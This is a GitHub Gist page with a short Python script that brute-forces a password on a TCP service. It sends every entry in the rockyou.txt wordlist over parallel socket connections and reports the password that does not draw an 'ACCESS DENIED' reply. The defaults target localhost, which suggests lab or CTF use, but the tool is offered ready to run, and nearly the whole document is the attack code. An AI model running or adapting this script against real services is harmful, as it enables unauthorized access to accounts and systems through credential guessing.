Created
June 2, 2021 19:56
-
-
Save wesleyit/084fc410748952424231b811e9a74cc1 to your computer and use it in GitHub Desktop.
This python script can be used to bruteforce a tcp service (like those ones you need to connect with telnet or nc and type a password).
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import sys | |
import socket | |
from multiprocessing import Pool as pool | |
THREADS = 8 | |
HOST = 'localhost' | |
PORT = 9999 | |
WORDLIST = '/opt/wordlists/rockyou.txt' | |
with open(WORDLIST, 'rb') as f: | |
wordlist = f.readlines() | |
def make_a_guess(password): | |
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: | |
s.connect((HOST, PORT)) | |
s.recv(1024) # get login screen | |
s.sendall(password) | |
data = s.recv(1024) # get result message | |
s.close() | |
if data.find(b'ACCESS DENIED') == -1: | |
print('[!] Password found!', password.decode()) | |
sys.exit(0) | |
if __name__ == '__main__': | |
print(f'[*] Starting the pool with {THREADS} threads...') | |
p = pool(THREADS) | |
p.map(make_a_guess, wordlist) | |
print('[*] Done! Ending all threads.') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment